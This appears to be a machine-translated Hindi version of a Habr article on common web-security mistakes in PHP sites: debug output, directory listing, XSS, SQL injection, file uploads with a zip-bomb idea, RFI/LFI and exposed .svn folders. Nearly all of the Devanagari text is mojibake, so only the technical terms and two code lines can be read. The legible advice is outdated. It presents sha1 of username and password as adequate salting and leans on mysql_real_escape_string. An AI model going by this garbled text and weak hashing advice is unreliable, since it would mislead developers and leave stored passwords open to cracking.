рдХрднреА-рдХрднреА рдлрд╝реЛрд░рдо рд╕рдорд╛рди рдХреЛрдб (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд░реВрдк рдореЗрдВ PHPBB) рдХреЗ рд╕рд╛рде рдмрдирд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ рдФрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рдЦрддрд░рдирд╛рдХ рд░реЗрдЦрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдРрд╕реА рд░реЗрдЦрд╛ рдХреЛ рдиреЛрдЯрд┐рд╕ рдХрд░рдирд╛ рд╣рдореЗрд╢рд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ (PHPBB рдореЗрдВ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ PHP рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдк рд╣реЛрддрд╛ рд╣реИ)ред

рдЗрд╕ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рд╢реИрдХреНрд╖рд┐рдХ рдХрд╛рд░реНрдпрдХреНрд░рдо рдкрд░, рд▓реЗрдХрд┐рди рдпреЗ рд╕рд┐рд░реНрдл рдореВрд▓ рдмрд╛рддреЗрдВ рд╣реИрдВред "рд░рдХреНрд╖рд╛ рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ" рдХреЗ рдЖрд╕рдкрд╛рд╕ рдЖрдиреЗ рдХреЗ рд░рд╛рд╕реНрддреЗ рд╣реИрдВред рдореИрдЬрд┐рдХ_рдХреНреЛрдЯреНрд╕, рдЕрдкрдбрд▓реЗрд╢, рдбрдмреНрд▓реНрдпреВрдПрдПрдл рдЬреИрд╕реА рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдВ рд░рд╛рдордмрд╛рдг рдирд╣реАрдВ рд╣реИрдВред рдФрд░ рд╕рдмрд╕реЗ рдмреБрд░реА рдмрд╛рдд рдпрд╣ рд╣реИ рдХрд┐ рдЬрдм рднрд╛рд╖рд╛ рдХрд╛рд░реНрдп рд╕реНрд╡рдпрдВ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, PHP рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рд╕рд╣рд┐рдд рдорд▓реНрдЯреАрдмрд╛рдЗрдЯ рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХреА рд╕рдорд╕реНрдпрд╛рдПрдБ)

рд╕рдмрд╕реЗ рдЖрдо рдЧрд▓рддрд┐рдпрд╛рдБ


рдЙрддреНрдкрд╛рджрди рдкрд░ рдбрд┐рдмрдЧ

рдЗрд╕рдореЗрдВ рдХреБрдЫ рднреА рдЕрдЪреНрдЫрд╛ рдирд╣реАрдВ рд╣реИ, рднрд▓реЗ рд╣реА рдпрд╣ рдЖрдкрдХреЗ рд▓рд┐рдП рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реЛред Error_reporting, debug (django) рдЬреИрд╕реЗ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ рддрджрдиреБрд╕рд╛рд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рд╣реИрдХрд┐рдВрдЧ рддрдм рд╕рд░рд▓ рд╣реЛ рдЬрд╛рддреА рд╣реИ рдЬрдм рд╣рдо рдЕрдВрдзреЗ рдирд╣реАрдВ рд╣реЛрддреЗ рд╣реИрдВ, рдЬрдм рдХреЛрдИ рд╣реИрдХрд░ рд╡реЗрдм рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рд▓рд┐рдП рдкреВрд░реНрдг рдкрде рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддрд╛рдХрд┐ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рднрд╡рд┐рд╖реНрдп рдореЗрдВ sql рдЪреЛрдЯ рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдореИрдВ file_priv рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░ рд░рд╣рд╛ рд╣реВрдВ)ред рдЗрд╕рд▓рд┐рдП, рд╕рд░реНрд╡рд░ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдореЗрдВ рдХреЛрдИ рддреНрд░реБрдЯрд┐ рдирд╣реАрдВ рд╣реИ, рдЕрдВрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рджреБрднрд╛рд╖рд┐рдпреЛрдВ рдХреЛ рджрд┐рдЦрд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдФрд░ рдХреЛрдб рдореЗрдВ, рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рдирд┐рд░реНрдорд╛рдг рд╣реЛрдЧрд╛:
 if ($something) someFunction() else { echo "   "; writeLog(...); //    } 

404 рдФрд░ рдЗрд╕реА рддрд░рд╣ рдХреА рддреНрд░реБрдЯрд┐рдпрд╛рдВ рд╣реИрдВред рдЖрдкрдХреЛ рд╕рд░реНрд╡рд░ рд╕реЗ рдирд╣реАрдВ, рдЗрди рдкреГрд╖реНрдареЛрдВ рдХреЗ рдЕрдкрдиреЗ рджреГрд╢реНрдп рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдФрд░ рдпрд╣ рди рдХреЗрд╡рд▓ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, рдмрд▓реНрдХрд┐ рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧ рдореЗрдВ рднреА рд╣реИред

рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЕрдиреБрдХреНрд░рдордг

рддрджрдиреБрд╕рд╛рд░ рд╕рд░реНрд╡рд░ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ, рдЗрд╕реЗ .htaccess рдореЗрдВ рдирд┐рд╖рд┐рджреНрдз рдХрд░реЗрдВ , рдЕрдВрдд рдореЗрдВ, рдЖрдкрдХреЗ рдкрд╛рд╕ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдореЗрдВ рдЦрд╛рд▓реА рд╕реВрдЪрдХрд╛рдВрдХ рдлрд╛рдЗрд▓реЗрдВ рд╣реИрдВ рдЬрд╣рд╛рдВ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реВрдЪреА рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред

.htaccess рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╕реНрддрд╛рд░ рдореЗрдВ рд╣рд╛рд▓ рд╣реА рдореЗрдВ рд╢реВрдиреНрдп-рджрд┐рди рднреЗрджреНрдпрддрд╛ рд╕реЗ "рдмрдЪрд╛" рд╕рдХрддрд╛ рд╣реИ

XSS

рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ рд╣рдорд▓реЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ, рдореИрдВрдиреЗ рдкрд╣рд▓реЗ рд╣реА рдКрдкрд░ рд╡рд░реНрдгрд┐рдд рдХрд┐рдпрд╛ рд╣реИред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (рдПрдбрдорд┐рди рдкреИрдирд▓ рд╕рд╣рд┐рдд) рд╕реЗ рдЬреЛ рдХреБрдЫ рднреА рдЖрдк рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ, рдЙрд╕реЗ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред Htmlentities, рд╕реНрдЯреНрд░рд┐рдкрдЯреИрдЧ рдХреЗ рд░реВрдк рдореЗрдВ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдЗрд╕рдХреА рдорджрдж рдХрд░рддреЗ рд╣реИрдВред рдпрд╛ рдЯреЗрдореНрдкреНрд▓реЗрдЯ рдЗрдВрдЬрди (рд╕реНрдорд╛рд░реНрдЯреА) рдореЗрдВ рдкрд╛рддреНрд░ рдмрдЪ рдЬрд╛рддреЗ рд╣реИрдВред

рдПрд╕рдХреНрдпреВрдПрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди

рдЖрдкрдХреЛ рдлреНрд░реЗрдорд╡рд░реНрдХ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХреА рдЧрдИ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдФрд░ рдХрд┐рд╕реА рднреА рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдЗрдирдкреБрдЯ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдВрдпреЛрдЬрди рдХрд╛ рдЙрдкрдпреЛрдЧ рди рдХрд░реЗрдВ (рд╡рд┐рд╢реЗрд╖рдХрд░ рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдХреЗ рдмрд┐рдирд╛)! mysql_real_escape_string, рддреИрдпрд╛рд░реА рд╣рдореЗрд╢рд╛ рдЖрдкрдХреЗ рд╕рд╛рде рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП!

рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ

рдЗрд╕реЗ рдЧрдВрднреАрд░рддрд╛ рд╕реЗ рд▓рд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рддрд╛рд░ рдХреА рддреБрд▓рдирд╛ рдХрд░рдХреЗ рдлрд╝рд╛рдЗрд▓ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИ, рдЖрдкрдХреЛ MIME рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдХрд╛рд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рднреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдореЙрдбреНрдпреВрд▓ рд▓рд┐рдЦрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ рд╣реИрдХрд░ рд╣реИ рдФрд░ рдЙрд╕рдХреЗ рдкрд╛рд╕ рдХреЗрд╡рд▓ рдПрдХ рд╣реА рд╡рд┐рдЪрд╛рд░ рд╣реЛрдЧрд╛ рдХрд┐ рдЖрдкрдХреЗ рдореЙрдбреНрдпреВрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рд╢реЗрд▓ рдХреИрд╕реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдПред
рдФрд░ рдЕрдЧрд░ рдЖрдк рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рдкреНрд░реЛрдЧреНрд░рд╛рдореНрд╕ рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓реЗрддреЗ рд╣реИрдВ (рдЪрд╛рд╣реЗ рд╡рд╣ рд░реВрдкрд╛рдВрддрд░рдг рд╣реЛ, рдпрд╛ рд╕рдВрдЧреНрд░рд╣ рдХреЛ рдЕрдирдкреИрдХ рдХрд░рдирд╛ рд╣реЛ) - рдпрд╣рд╛рдВ рднреА рдХрд▓реНрдкрдирд╛ рдХреЗ рд╕рд╛рде рдПрдХ рдмрд╣реБрдд рд╣реА рдирд╛рдЬреБрдХ рдмрд┐рдВрджреБ рд╣реИред рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рд╡рд░реНрдг рдЬреЛ рдХрд┐рд╕реА DoS рд╕рдВрд╕рд╛рдзрди рдХреЗ рд▓рд┐рдП рдиреЗрддреГрддреНрд╡ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдореИрдВ рдЕрдм рдлрд╛рдЗрд▓ рд╣реЛрд╕реНрдЯрд┐рдВрдЧ рд╕реЗрд╡рд╛рдУрдВ рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреА рдПрдХ рдмрд╣реБрдд рд▓реЛрдХрдкреНрд░рд┐рдп рд╡рд┐рдзрд┐ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░ рд░рд╣рд╛ рд╣реВрдВ рдЬреЛ рд╡рд╛рдпрд░рд╕ рдХреЗ рд▓рд┐рдП рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╕реНрдХреИрди рдХрд░рддреА рд╣реИред
рд╣рдорд▓рд╛ рдЗрд╕ рддрдереНрдп рдкрд░ рдЙрдмрд▓рддрд╛ рд╣реИ рдХрд┐ рдХрдИ рдЧреАрдЧрд╛рдмрд╛рдЗрдЯ рдХреЗ рд▓рд┐рдП "/ 0" рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ, рдЗрд╕реЗ рд╕рдВрдЧреНрд░рд╣ рдореЗрдВ рдкреИрдХ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдЗрд╕рдХрд╛ рд╡рдЬрди рдХрдИ Kb рд╣реИ) рдФрд░ рдЗрд╕реЗ рдлрд╝рд╛рдЗрд▓ рд╣реЛрд╕реНрдЯрд┐рдВрдЧ рд╕реЗрд╡рд╛ рдкрд░ рдЕрдкрд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдлрд╝рд╛рдЗрд▓ рдЕрдирдкреИрдХ рдХреА рдЧрдИ рд╣реИ, рдФрд░ рдЖрдЧреЗ рдХреНрдпрд╛ рд╣реИ - рдЖрдкрдХреЛ рд╕рд┐рд░реНрдл рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдирд╛ рд╣реИ :)

RFI / LFI

рдКрдкрд░, рдореИрдВрдиреЗ рдЖрдВрд╢рд┐рдХ рд░реВрдк рд╕реЗ рдЗрд╕ рд╣рдорд▓реЗ рдФрд░ рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХрд╛ рд╡рд░реНрдгрди рдХрд┐рдпрд╛ рд╣реИред рдЗрд╕рд╕реЗ рдкрд╣рд▓реЗ рдХрд┐ рдЖрдк рдХреБрдЫ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ, рдЖрдиреЗ рд╡рд╛рд▓реЗ рдбреЗрдЯрд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдЖрдкрдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЖрдорддреМрд░ рдкрд░ рд╕рднреНрдп рд░реВрдкрд░реЗрдЦрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдпрд╣ рд╕рдорд╕реНрдпрд╛ рдЙрддреНрдкрдиреНрди рдирд╣реАрдВ рд╣реЛрддреА рд╣реИред

.htaccess, index files, PHP configuration

рдореИрдВ рдереЛрдбрд╝рд╛ рджреЛрд╣рд░рд╛рддрд╛ рд╣реВрдВ, рд▓реЗрдХрд┐рди: рд╣рдо рдлрд╝реЛрд▓реНрдбрд░реНрд╕ рдореЗрдВ рдЕрдирд╛рд╡рд╢реНрдпрдХ рд╕рдм рдХреБрдЫ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреА рдЕрдиреБрдХреНрд░рдордгрд┐рдХрд╛ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддреЗ рд╣реИрдВ, рд░рдЬрд┐рд╕реНрдЯрд░_рдЧреНрд▓реЛрдмрд▓реНрд╕ рдФрд░ рдЗрд╕реА рддрд░рд╣ рдХреЗ рдЗрдирдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ, "рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ" PHP рд╡рд┐рдХрд▓реНрдкред

рд╕рд╛рдорд╛рдиреНрдп рдмрд┐рдВрджреБ, рд░реЗрдкреЛ рдлрд╝рд╛рдЗрд▓реЗрдВред

рд╕реНрд░реЛрдд рдлрд╝рд╛рдЗрд▓ рдХреЛ рднрдВрдбрд╛рд░рд┐рдд рдХрд░рддреЗ рд╕рдордп .svn рд░реВрдЯ рдкрд░ред рдЗрд╕рд▓рд┐рдП рдкреВрд░рд╛ рдЗрдВрдЯрд░рдиреЗрдЯ рд╣реИрдХ рдХрд░ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд▓рд┐рдВрдХ рдкрд░ рджрд┐рд▓рдЪрд╕реНрдк рдкрдврд╝рдирд╛ред

рд╕рднреА рдЖрдиреЗ рд╡рд╛рд▓реЗ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░реЗрдВ (рдХреБрдХреАрдЬрд╝ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдордд рднреВрд▓рдирд╛!), рдЕрдкрдиреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ, рддрджрдиреБрд╕рд╛рд░ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░реЗрдВ (chmod, рдбреЗрдЯрд╛рдмреЗрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░, .htaccess), рднреЗрдЬрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЕрдкрдиреЗ рдЕрдЧрд▓реЗ рдкреНрд░рддрд┐рдмрджреНрдз рдХреЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реЛрдЪреЗрдВ рдФрд░ рдЙрддреНрдкрд╛рдж рднреА рдмреЗрд╣рддрд░ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП!

рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлрд┐рдХ рддрд╛рдХрдд рдХреЗ рдмрд╛рд░реЗ рдореЗрдВред рдпрджрд┐ рдЖрдк рд╣реИрд╢рд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ sha1 (md5 рдХреЗ рдЦрд┐рд▓рд╛рдл) рдХреЗ рд▓рд┐рдП рдмреЗрд╣рддрд░ рд╣реИ, рдФрд░ рдЗрд╕рдореЗрдВ "рдирдордХ" рдорд┐рд▓рд╛рдПрдВред
 $hash = sha1($username.':'.$password); 


рдирд┐рд╖реНрдХрд░реНрд╖


I (рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ) 2 рдЪреАрдЬреЛрдВ рдХреЗ рд▓рд┐рдП рд╢реВрдиреНрдп рд╣реЛрдЧрд╛:
  1. рдЬреЛ рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рдЬрд╛рдирдХрд╛рд░реА рд╕реЗ рднрд░рд╛ рд╣реИ
  2. рднреЗрджреНрдпрддрд╛ рдкреНрд░рдерд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░рдиреЗ рдХреА рдХреЛрдИ рдЬрд░реВрд░рдд рдирд╣реАрдВ рд╣реИ
рдЗрд╕рд▓рд┐рдП, рдкрд╣рд▓реЗ рдмрд┐рдВрджреБ рдХреЗ рдЕрдиреБрд╕рд╛рд░ - рд▓реЗрдЦ рд▓реЗрдЦреЛрдВ рдХреЗ рдЪрдХреНрд░ рдХреЗ рд╕рд╛рде рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИ, рдореИрдВ рдЗрд╕реЗ рд╣рдЯрд╛ рдирд╣реАрдВ рд╕рдХрддрд╛ рдФрд░ рдЗрд╕ рд╕рдм рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд╣реАрдВ рдмрддрд╛ рд╕рдХрддрд╛ред рджреВрд╕рд░реЗ рдХреЗ рдЕрдиреБрд╕рд╛рд░ - рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдЬреНрдЮрд╛рди рдХреЗ рдмрд┐рдирд╛, "рд╕реНрд╡рдпрдВ рдХрд╛ рдмрдЪрд╛рд╡" рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рдкрд░рд┐рдгрд╛рдо рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рд░реВрдк рд╕реЗ рд╢реВрдиреНрдп рддрдХ рдХрдо рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВред

рд╢реНрд░реГрдВрдЦрд▓рд╛:

Source: https://habr.com/ru/post/In125727/


All Articles